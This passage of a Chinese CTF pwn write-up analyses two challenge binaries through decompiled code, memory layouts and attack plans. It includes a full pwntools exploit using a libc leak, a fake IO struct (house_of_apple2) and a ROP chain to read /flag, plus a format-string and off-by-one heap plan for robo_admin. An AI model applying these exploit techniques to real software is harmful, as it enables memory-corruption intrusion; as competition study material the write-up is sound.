 if ( !*(_QWORD *)(user_table[v2 - 1] + 0x308LL)
 || (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", v2),
 __isoc99_scanf(" %c", &v3),
 (_BYTE)v3 == 0x79)
 || (_BYTE)v3 == 0x59 )
 {
 if ( v1 > 12 )
 {
ret:
 putchar(10);
 return v8 - __readfsqword(0x28u);
 }
 puts("Which mail would you like to forward?");
 puts("1. User's draft");
 puts("2. User's inbox mail");
 printf("Your choice: ");
 if ( (unsigned int)__isoc99_scanf("%d", &v3) != 1 )
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 if ( v2 <= 12 )
 *(_QWORD *)(user_table[v2 - 1] + 0x308LL) = 1;
 if ( v3 == 1 )
 {
 if ( v2 <= 12 )
 {
 n = *(_QWORD *)(user_table[v1 - 1] + 0x100LL);
 if ( n > 0x100 )
 n = 256;
 src = (void *)(user_table[v1 - 1] + 0x110LL);
 memcpy((void *)user_table[v2 - 1], src, n);
 *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = n;
 }
 }
 else
 {
 if ( v3 != 2 )
 {
 puts("Invalid choice!");
 putchar(10);
 return v8 - __readfsqword(0x28u);
 }
 if ( v2 <= 12 )
 {
 v5 = *(_QWORD *)(user_table[v1 - 1] + 0x210LL);
 if ( v5 > 0x100 )
 v5 = 0x100;
 v6 = (void *)user_table[v1 - 1];
 memcpy((void *)user_table[v2 - 1], v6, v5);
 *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = v5;
 }
 }
 printf("Mail forwarded from index %d to index %d!\n", v1, v2);
 }
 else
 {
 puts("Forwarding cancelled.");
 putchar(10);
 }
 }
 else
 {
 printf("Destination user %d does not exist!\n", v2);
 putchar(10);
 }
 }
 else
 {
 printf("Source user %d does not exist!\n", v1);
 putchar(10);
 }
 return v8 - __readfsqword(0x28u);
}

管理员以某一用户名义发邮件给另一名用户，存在越界读写

mail_menu

1
2
3
4
5
6
7
8


int mail_menu()
{
 puts("1. Write mail");
 puts("2. Read mail");
 puts("3. Send mail");
 puts("4. Logout");
 return printf("Your choice: ");
}

用户菜单

write_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


unsigned __int64 __fastcall write_mail(__int64 a1)
{
 int v2; // [rsp+18h] [rbp-118h] BYREF
 int v3; // [rsp+1Ch] [rbp-114h]
 _BYTE buf[264]; // [rsp+20h] [rbp-110h] BYREF
 unsigned __int64 v5; // [rsp+128h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 printf("How many bytes do you want to write? (1-%d): ", 256);
 if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 )
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
LABEL_16:
 putchar(10);
 return v5 - __readfsqword(0x28u);
 }
 if ( v2 > 0 && v2 <= 256 )
 {
 printf("Write your mail content (max %d bytes):\n", v2);
 while ( getchar() != 10 )
 ;
 v3 = read(0, buf, v2);
 if ( v3 <= 0 )
 {
 puts("Failed to read input!");
 }
 else
 {
 memcpy((void *)(a1 + 0x110), buf, v3);
 *(_QWORD *)(a1 + 0x100) = v3;
 if ( v3 > 0xFF )
 *(_BYTE *)(a1 + 0x20F) = 0;
 else
 *(_BYTE *)(v3 + 0x110LL + a1) = 0;
 *(_QWORD *)(a1 + 0x310) = 1;
 puts("Draft saved!");
 }
 goto LABEL_16;
 }
 printf("Write size must be between 1 and %d bytes.\n", 256);
 putchar(10);
 return v5 - __readfsqword(0x28u);
}

写邮件

read_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


unsigned __int64 __fastcall read_mail(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 read_menu();
 if ( (unsigned int)__isoc99_scanf("%d") == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 }
 if ( v2 == 3 )
 break;
 if ( v2 > 3 )
 goto LABEL_17;
 if ( v2 == 1 )
 {
 if ( *(_QWORD *)(a1 + 0x310) )
 {
 puts("Your saved draft:");
 puts((const char *)(a1 + 0x110));
 putchar(10);
 }
 else
 {
 puts("No saved draft found.\n");
 }
 }
 else if ( v2 == 2 )
 {
 if ( *(_QWORD *)(a1 + 0x308) )
 {
 puts("Inbox (new mail):");
 puts((const char *)a1);
 *(_QWORD *)(a1 + 0x308) = 0;
 putchar(10);
 }
 else
 {
 puts("No new mail in inbox.\n");
 }
 }
 else
 {
LABEL_17:
 puts("Invalid choice!\n");
 }
 }
 putchar(10);
 return v3 - __readfsqword(0x28u);
}

读邮件

send_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


__int64 __fastcall send_mail(size_t *a1)
{
 char v2; // [rsp+1Bh] [rbp-25h] BYREF
 int v3; // [rsp+1Ch] [rbp-24h] BYREF
 size_t n; // [rsp+20h] [rbp-20h]
 size_t v5; // [rsp+28h] [rbp-18h]
 _QWORD *v6; // [rsp+30h] [rbp-10h]
 unsigned __int64 v7; // [rsp+38h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 puts("Who do you want to send the mail to? (input user ID 1-12)");
 if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
 {
 if ( v3 > 0 && v3 <= 12 )
 {
 if ( user_table[v3 - 1] )
 {
 if ( a1[0x62] )
 {
 v5 = a1[0x4F];
 v6 = &this_is_time[34 * v5 - 34];
 ++*((_DWORD *)v6 + 2);
 if ( (unsigned int)secure_check(v5) )
 {
 return 1;
 }
 else if ( !*(_QWORD *)(user_table[v3 - 1] + 0x308LL)
 || (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", v3),
 __isoc99_scanf(" %c", &v2),
 v2 == 121)
 || v2 == 89 )
 {
 n = a1[32];
 if ( n > 0x100 )
 n = 256;
 *(_QWORD *)(user_table[v3 - 1] + 0x308LL) = 1;
 memcpy((void *)user_table[v3 - 1], a1 + 34, n);
 *(_QWORD *)(user_table[v3 - 1] + 0x210LL) = n;
 a1[98] = 0;
 printf("Mail sent to user %d!\n", v3);
 putchar(10);
 return 0;
 }
 else
 {
 puts("Mail sending cancelled.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("No draft to send! Please write a mail first.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("User does not exist!");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("Invalid user ID! Must be between 1 and 12.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
 putchar(10);
 return 0;
 }
}

发送邮件

read_menu

1
2
3
4
5
6
7
8


int read_menu()
{
 puts("What would you like to read?");
 puts("1. My saved draft");
 puts("2. Inbox (mails sent to me)");
 puts("3. Back to main menu");
 return printf("Your choice: ");
}

读邮件面板

secure_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


__int64 __fastcall secure_check(int a1)
{
 time_t v2; // [rsp+10h] [rbp-20h]
 time_t *v3; // [rsp+18h] [rbp-18h]
 _QWORD *v4; // [rsp+20h] [rbp-10h]
 FILE *stream; // [rsp+28h] [rbp-8h]

 v2 = time(0);
 v3 = &this_is_time[34 * a1 - 34];
 if ( v2 - *v3 > 10 || *((int *)v3 + 2) <= 4 )
 {
 if ( v2 - *v3 > 10 )
 {
 *((_DWORD *)v3 + 2) = 0;
 *v3 = v2;
 }
 return 0;
 }
 else
 {
 printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", a1);
 if ( a1 > 0 && a1 <= 12 && user_table[a1 - 1] )
 {
 v4 = (_QWORD *)user_table[a1 - 1];
 v4[0x53] = 'lagelli';
 stream = fopen("/dev/urandom", "rb");
 if ( stream )
 {
 fread(v4 + 88, 1u, 0x10u, stream);
 fclose(stream);
 }
 v4[0x4F] = 0;
 puts("Account has been banned!");
 puts("Returning to login menu...\n");
 }
 return 1;
 }
}

安全检测，发送频率过高会封号

bss

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


.bss:0000000000007020 ; ===========================================================================
.bss:0000000000007020
.bss:0000000000007020 ; Segment type: Uninitialized
.bss:0000000000007020 ; Segment permissions: Read/Write
.bss:0000000000007020 _bss segment align_32 public 'BSS' use64
.bss:0000000000007020 assume cs:_bss
.bss:0000000000007020 ;org 7020h
.bss:0000000000007020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000007020 public stdout
.bss:0000000000007020 ; FILE *stdout
.bss:0000000000007020 stdout dq ? ; DATA XREF: LOAD:00000000000006A0↑o
.bss:0000000000007020 ; init+2A↑r
.bss:0000000000007020 ; Copy of shared data
.bss:0000000000007028 align 10h
.bss:0000000000007030 public stdin
.bss:0000000000007030 ; FILE *stdin
.bss:0000000000007030 stdin dq ? ; DATA XREF: LOAD:00000000000006D0↑o
.bss:0000000000007030 ; init+C↑r
.bss:0000000000007030 ; Copy of shared data
.bss:0000000000007038 align 20h
.bss:0000000000007040 public stderr
.bss:0000000000007040 ; FILE *stderr
.bss:0000000000007040 stderr dq ? ; DATA XREF: LOAD:0000000000000700↑o
.bss:0000000000007040 ; init+48↑r
.bss:0000000000007040 ; Copy of shared data
.bss:0000000000007048 byte_7048 db ? ; DATA XREF: sub_13E0+4↑r
.bss:0000000000007048 ; sub_13E0+2C↑w
.bss:0000000000007049 align 20h
.bss:0000000000007060 ; _QWORD user_table[12]
.bss:0000000000007060 user_table dq 0Ch dup(?) ; DATA XREF: secure_check+A7↑o
.bss:0000000000007060 ; secure_check+CB↑o ...
.bss:00000000000070C0 ; void *this_is_admin
.bss:00000000000070C0 this_is_admin dq ? ; DATA XREF: init+BC↑w
.bss:00000000000070C0 ; init+C3↑r ...
.bss:00000000000070C8 align 20h
.bss:00000000000070E0 ; _QWORD this_is_time[408]
.bss:00000000000070E0 this_is_time dq 198h dup(?) ; DATA XREF: secure_check+34↑o
.bss:00000000000070E0 ; init+9D↑o ...
.bss:00000000000070E0 _bss ends
.bss:00000000000070E0

bss 结构

攻击思路

难点是梳理程序流程和内存的结构以及识别漏洞点

管理员内存结构

管理员内存大小为 0x400

1
2


0x32: 名称
0x68: 密码

用户内存结构

用户内存大小为 0x410

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


0x0-0x100: 0x100 收件
0x100-0x108: 0x8 草稿大小
0x110-0x210: 0x100 草稿
0x210-0x218: 0x8 收件大小
0x278-0x280: 0x8 编号，被 ban 清零
0x298-0x2B8: 0x20 用户名
0x2C0-0x2E8: 0x28 密码
0x308-0x310: 0x8 收件标记
0x310-0x318: 0x8 草稿标记
0x388-0x390: 0x8 存在标记

漏洞点利用

在注册时有这样的逻辑：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 )
 break;
 }

这里 j 在出 for 循环时可以为 12 ，这样的话可以从用户表越界到管理员表，把管理员的名称和密码都清空，这样就可以直接登录管理员账号了

但是要使 j 为 12 ，就要绕过上面对 v2 的大小检验，这要求 *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) 为 0 而 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL 不为零，该情况发生的条件是用户被 ban

而要想用户被 ban ，根据 secure_check 的逻辑只要在 10 秒内发送超过四次邮件即可

于是我们每注册一个用户就 ban 一个，直到填满用户表使溢出发生后即可成为管理员

成为管理员后的 mail_user_to_user 中有反向越界读写，可以通过标准流指针泄露 libc 基址，然后通过往 stderr 里面发送 fake_io 信件打 house_of_apple2 ，走 setcontext 去跑 read 再写入 orw_chain

比赛时最后十分钟过了本地但是远程炸了，淦，好像是交互时间过长的问题。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('192.0.100.2', 9999)

libc = ELF('./libc.so.6')

### login

def login(name, pwd):
	io.sendlineafter(b'choice: ', b'1')
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'password: ', pwd)

def register(name, pwd):
	io.sendlineafter(b'choice: ', b'2')
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'password: ', pwd)

def myexit():
	io.sendlineafter(b'choice: ', b'3')

### user

def writemail(bt, content):
	io.sendlineafter(b'choice: ', b'1')
	io.sendlineafter(b'(1-256): ', str(bt).encode())
	io.sendlineafter(b'bytes):\n', content)

def readmail(choice):
	io.sendlineafter(b'choice: ', b'2')
	io.sendlineafter(b'choice: ', str(choice).encode())

def back2menu():
	io.sendlineafter(b'choice: ', b'3')

def sendmail(id, rep = False):
	io.sendlineafter(b'choice: ', b'3')
	io.sendlineafter(b'(input user ID 1-12)', str(id).encode())
	if rep:
		io.sendlineafter(b'(y/n): ', b'y')

def logout():
	io.sendlineafter(b'choice: ', b'4')

### admin

def user2user(src, dst, choice, rep = False):
	io.sendlineafter(b'choice: ', b'4')
	io.sendlineafter(b': (1-12) ', str(src).encode())
	io.sendlineafter(b'(1-12): ', str(dst).encode())
	if rep:
		io.sendlineafter(b'(y/n): ', b'y')
	io.sendlineafter(b'choice: ', str(choice).encode())

def admin_logout():
	io.sendlineafter(b'choice: ', b'5')

def attack():
	for i in range(12):		# admin
		register(b'AAA' + str(i).encode(), b'BBB')
		login(b'AAA' + str(i).encode(), b'BBB')
		if i >= 7:
			writemail(1, b'C')
			sendmail(i + 1)
			for _ in range(3):
				writemail(1, b'C')
				sendmail(i + 1, True)
			writemail(1, b'C')
			sendmail(i + 1)
		logout()
	register(b'AAA' + str(13).encode(), b'BBB')

	login(b'\x00', b'\x00')
	user2user(-3, 1, 1)
	admin_logout()

	login(b'AAA0', b'BBB')
	readmail(2)
	io.recvuntil(b'(new mail):\n')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21b803
	log.info(f'libc = {hex(libc.address)}')
	back2menu()
	logout()

	stderr = libc.sym['_IO_2_1_stderr_']

	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f357
	syscall_ret = libc.address + 0x91316

	read_rop_chain = flat([
		0,
		pop_rsi_ret,
		stderr + 0x68,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret
	])

	fake_io = flat({
			0x0: 0,
			0x10: '/flag\x00',
			0x28: libc.sym['setcontext'] + 0x3d,
			0x30: read_rop_chain,
			0x70: stderr + 0x30, # RSP
			0X78: pop_rdi_ret, # RIP
			0x88: stderr,
			0xA0: stderr - 0x30,
			0xB0: stderr - 0x40,
			0xD8: libc.sym['_IO_wfile_jumps']
		},
		filler=b"\x00"
	)

	login(b'AAA0', b'BBB')
	writemail(len(fake_io), fake_io)
	logout()

	login(b'\x00', b'\x00')
	user2user(1, -3, 1)
	admin_logout()

	myexit()

	orw_rop_chain = flat([
		pop_rax_ret,
		2,
		pop_rdi_ret,
		stderr + 0x10,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		3,
		pop_rsi_ret,
		stderr + 0x100,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(3, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		stderr + 0x100,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])

	#gdb.attach(io)
	io.sendlineafter(b'Goodbye!\n', orw_rop_chain)

	io.interactive()

attack()

区域决赛

robo_admin

呜呜呜我好菜啊比赛时怎么做不出来呜呜呜

checksec

1
2
3
4
5
6
7
8


[*] '/home/RatherHard/CTF-pwn/ccsssc/robo_admin/题目附件/robo_admin'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled

IDA

mystart

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


__int64 mystart()
{
 int v0; // eax
 char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
 __int64 v3; // [rsp+8h] [rbp-18h]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 seccomp();
 clear();
 pwdgen();
 puts("Robo Admin Service");
 while ( 1 )
 {
 puts("\n=== Main Menu ===");
 puts("1. set notice");
 puts("2. show status");
 puts("3. admin login");
 puts("4. exit");
 puts("> ");
 *(_QWORD *)nptr = 0;
 v3 = 0;
 myread(nptr, 16);
 v0 = atoi(nptr);
 if ( v0 == 4 )
 break;
 if ( v0 > 4 )
 goto LABEL_13;
 switch ( v0 )
 {
 case 3:
 judger = admin_judge();
 if ( judger )
 admin_panel();
 break;
 case 1:
 setnotice();
 break;
 case 2:
 showstatus();
 break;
 default:
LABEL_13:
 puts("[X] invalid");
 break;
 }
 }
 puts("bye");
 return 0;
}

菜单题

seccomp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


__int64 seccomp()
{
 __int64 v1; // [rsp+8h] [rbp-8h]

 v1 = seccomp_init(2147418112);
 if ( !v1 )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 2, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 59, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 322, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_load(v1) )
 _exit(1);
 return seccomp_release(v1);
}

禁用了 open 和 execve ，可以用 openat

setnotice

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


unsigned __int64 setnotice()
{
 _QWORD src[32]; // [rsp+0h] [rbp-310h] BYREF
 char s[8]; // [rsp+100h] [rbp-210h] BYREF
 __int64 v3; // [rsp+108h] [rbp-208h]
 _BYTE v4[496]; // [rsp+110h] [rbp-200h] BYREF
 unsigned __int64 v5; // [rsp+308h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 *(_QWORD *)s = 0;
 v3 = 0;
 memset(v4, 0, sizeof(v4));
 memset(src, 0, sizeof(src));
 myread(s, 512);
 if ( strchr(s, 37) || strchr(s, 36) )
 {
 puts("[X] raw input contains illegal chars");
 }
 else if ( (unsigned int)((__int64 (__fastcall *)(char *, _QWORD *, __int64))decode)(s, src, 256) )
 {
 puts("[X] decode failed");
 }
 else
 {
 memcpy(notice, src, sizeof(notice));
 byte_52BF = 0;
 ntc_tag = 1;
 puts("[+] notice updated");
 }
 return v5 - __readfsqword(0x28u);
}

禁止明文出现 ‘%’ 和 ‘$’ ，防止直接的格式化字符串攻击

decode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


__int64 __fastcall decode(__int64 a1, __int64 a2, unsigned __int64 a3)
{
 __int64 v4; // rax
 __int64 v5; // rax
 int v7; // [rsp+20h] [rbp-18h]
 int v8; // [rsp+24h] [rbp-14h]
 __int64 v9; // [rsp+28h] [rbp-10h]
 __int64 i; // [rsp+30h] [rbp-8h]

 v9 = 0;
 for ( i = 0; *(_BYTE *)(a1 + i); ++i )
 {
 if ( a3 <= v9 + 1 )
 return 0xFFFFFFFFLL;
 if ( *(_BYTE *)(a1 + i) == 92 && *(_BYTE *)(i + 1 + a1) == 120 )
 {
 v7 = decodechr((unsigned int)*(char *)(i + 2 + a1));
 v8 = decodechr((unsigned int)*(char *)(i + 3 + a1));
 if ( v7 < 0 || v8 < 0 )
 return 0xFFFFFFFFLL;
 v4 = v9++;
 *(_BYTE *)(a2 + v4) = v8 | (16 * v7);
 i += 3;
 }
 else
 {
 v5 = v9++;
 *(_BYTE *)(v5 + a2) = *(_BYTE *)(a1 + i);
 }
 }
 *(_BYTE *)(a2 + v9) = 0;
 return 0;
}

解码器没有对格式化字符串的校验，可以利用这一点绕过前面的明文校验

showstatus

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


unsigned __int64 __fastcall showstatus(__int64 a1, __int64 a2)
{
 __int64 v2; // rdx
 __int64 v3; // rcx
 __int64 v4; // r8
 __int64 v5; // r9
 __int64 v7; // [rsp+0h] [rbp-40h]
 __int64 v8; // [rsp+8h] [rbp-38h]
 _QWORD v9[2]; // [rsp+10h] [rbp-30h] BYREF
 __int64 v10; // [rsp+20h] [rbp-20h]
 __int64 v11; // [rsp+28h] [rbp-18h]
 unsigned __int64 v12; // [rsp+38h] [rbp-8h]

 v12 = __readfsqword(0x28u);
 v7 = pwd1;
 v8 = pwd2;
 strcpy((char *)v9, "STACK_ANCHOR");
 BYTE5(v9[1]) = 0;
 HIWORD(v9[1]) = 0;
 v10 = 0;
 v11 = 0;
 puts("=== Robo Admin Status ===");
 puts("Robot core: online");
 puts("Task queue: healthy");
 printf("Notice: ");
 if ( ntc_tag )
 {
 if ( once )
 {
 printf("%s", notice);
 }
 else
 {
 once = 1;
 printf(notice, a2, v2, v3, v4, v5, v7, v8, v9[0], v9[1], v10, v11);
 }
 puts(&whatelf);
 }
 else
 {
 puts("(empty)");
 }
 return v12 - __readfsqword(0x28u);
}

有一次格式化字符串利用机会，可以泄露管理员密码和 libc 地址，然后获得进入管理员面板的权限

admin_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


unsigned __int64 admin_panel()
{
 char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
 __int64 v2; // [rsp+8h] [rbp-18h]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 while ( 1 )
 {
 puts("\n=== Task Menu ===");
 puts("1. create");
 puts("2. edit");
 puts("3. query");
 puts("4. list");
 puts("5. delete");
 puts("6. logout");
 puts("> ");
 *(_QWORD *)nptr = 0;
 v2 = 0;
 myread(nptr, 16);
 switch ( atoi(nptr) )
 {
 case 1:
 create();
 break;
 case 2:
 edit();
 break;
 case 3:
 query();
 break;
 case 4:
 list();
 break;
 case 5:
 delete();
 break;
 case 6:
 return v3 - __readfsqword(0x28u);
 default:
 puts("[X] invalid");
 break;
 }
 }
}

经典菜单堆题

create

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


int create()
{
 size_t v0; // rax
 __int64 v1; // rax
 unsigned int v3; // [rsp+4h] [rbp-Ch]
 size_t size; // [rsp+8h] [rbp-8h]

 LODWORD(v0) = readidx();
 v3 = v0;
 if ( (v0 & 0x80000000) == 0LL )
 {
 if ( taskalive[(int)v0] )
 {
 LODWORD(v0) = puts("[X] slot used");
 }
 else
 {
 memset((char *)&task_name + 24 * (int)v0, 0, 0x18u);
 puts("Task name:");
 v1 = (__int64)taskname_getptr(v3);
 myread((void *)v1, 16);
 v0 = readnum("Desc size:", 24, 0x200);
 size = v0;
 if ( v0 )
 {
 task_desc[v3] = malloc(v0);
 if ( task_desc[v3] )
 {
 memset((void *)task_desc[v3], 0, size);
 task_size[v3] = size;
 *(_QWORD *)taskname_getptr_0x10(v3) = 0;
 taskalive[v3] = 1;
 LODWORD(v0) = puts("[+] task created");
 }
 else
 {
 LODWORD(v0) = puts("[X] malloc failed");
 }
 }
 }
 }
 return v0;
}

可申请大小 200 以内任意 chunk ，同时可控 7 个 chunk

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


int edit()
{
 __int64 v0; // rax
 unsigned __int64 v1; // r12
 ssize_t v2; // rbx
 ssize_t *v3; // rax
 unsigned int v5; // [rsp+Ch] [rbp-24h]
 size_t nbytes; // [rsp+10h] [rbp-20h]
 ssize_t v7; // [rsp+18h] [rbp-18h]

 LODWORD(v0) = readidx();
 v5 = v0;
 if ( (int)v0 >= 0 )
 {
 if ( taskalive[(int)v0] )
 {
 v0 = readnum("Write length :", 1, task_size[(int)v0] + 1LL);
 nbytes = v0;
 if ( v0 )
 {
 puts("New desc bytes:");
 v7 = read(0, *((void **)&task_desc + (int)v5), nbytes);
 if ( v7 > 0 )
 {
 if ( task_size[v5] <= (unsigned __int64)v7 )
 {
 if ( task_size[v5] )
 *(_BYTE *)(*((_QWORD *)&task_desc + (int)v5) + task_size[v5] - 1LL) = 0;
 }
 else
 {
 *(_BYTE *)(*((_QWORD *)&task_desc + (int)v5) + v7) = 0;
 }
 v1 = task_size[v5];
 v2 = v7;
 v3 = (ssize_t *)taskname_getptr_0x10(v5);
 if ( v1 <= v7 )
 v2 = v1;
 *v3 = v2;
 LODWORD(v0) = puts("[+] task updated");
 }
 else
 {
 LODWORD(v0) = puts("[X] read failed");
 }
 }
 }
 else
 {
 LODWORD(v0) = puts("[X] empty");
 }
 }
 return v0;
}

发现 off-by-one 漏洞，然后写入的内容末尾会补一个 ‘\x00’ ，阻挠进一步的泄露

delete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


int delete()
{
 int result; // eax
 int v1; // [rsp+Ch] [rbp-4h]

 result = readidx();
 v1 = result;
 if ( result >= 0 )
 {
 if ( taskalive[result] )
 {
 free((void *)task_desc[result]);
 task_desc[v1] = 0;
 task_size[v1] = 0;
 memset((char *)&task_name + 24 * v1, 0, 0x18u);
 taskalive[v1] = 0;
 return puts("[+] deleted");
 }
 else
 {
 return puts("[X] empty");
 }
 }
 return result;
}

没有 UAF

攻击思路

利用格式化字符串获取管理员权限后，就是 off-by-one 的利用了

准备三个相邻 chunk A, B, C ，从低地址到高地址排列

利用 A 的 off-by-one 漏洞使 B 恰好包括住 C ，然后 free 掉 B 使之进入 unsortedbin

申请原来的 B 的大小的 chunk ，使 unsortedbin 剩下 lastremainder C ，然后再申请 C 的大小，这样就获得了两个指向同一个 chunk 的堆指针

最后 free 掉其中一个指针，就可以达成 UAF 的效果，leak heap 后用 tcache poisoning 打 house of apple2 写 orw 链即可

不过 chunk 的大小还要精心选择一波，在开始利用之前需要做一下堆风水使 B 能进入 unsortedbin

吐槽一下这初始的堆环境是有够恶劣的。。。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
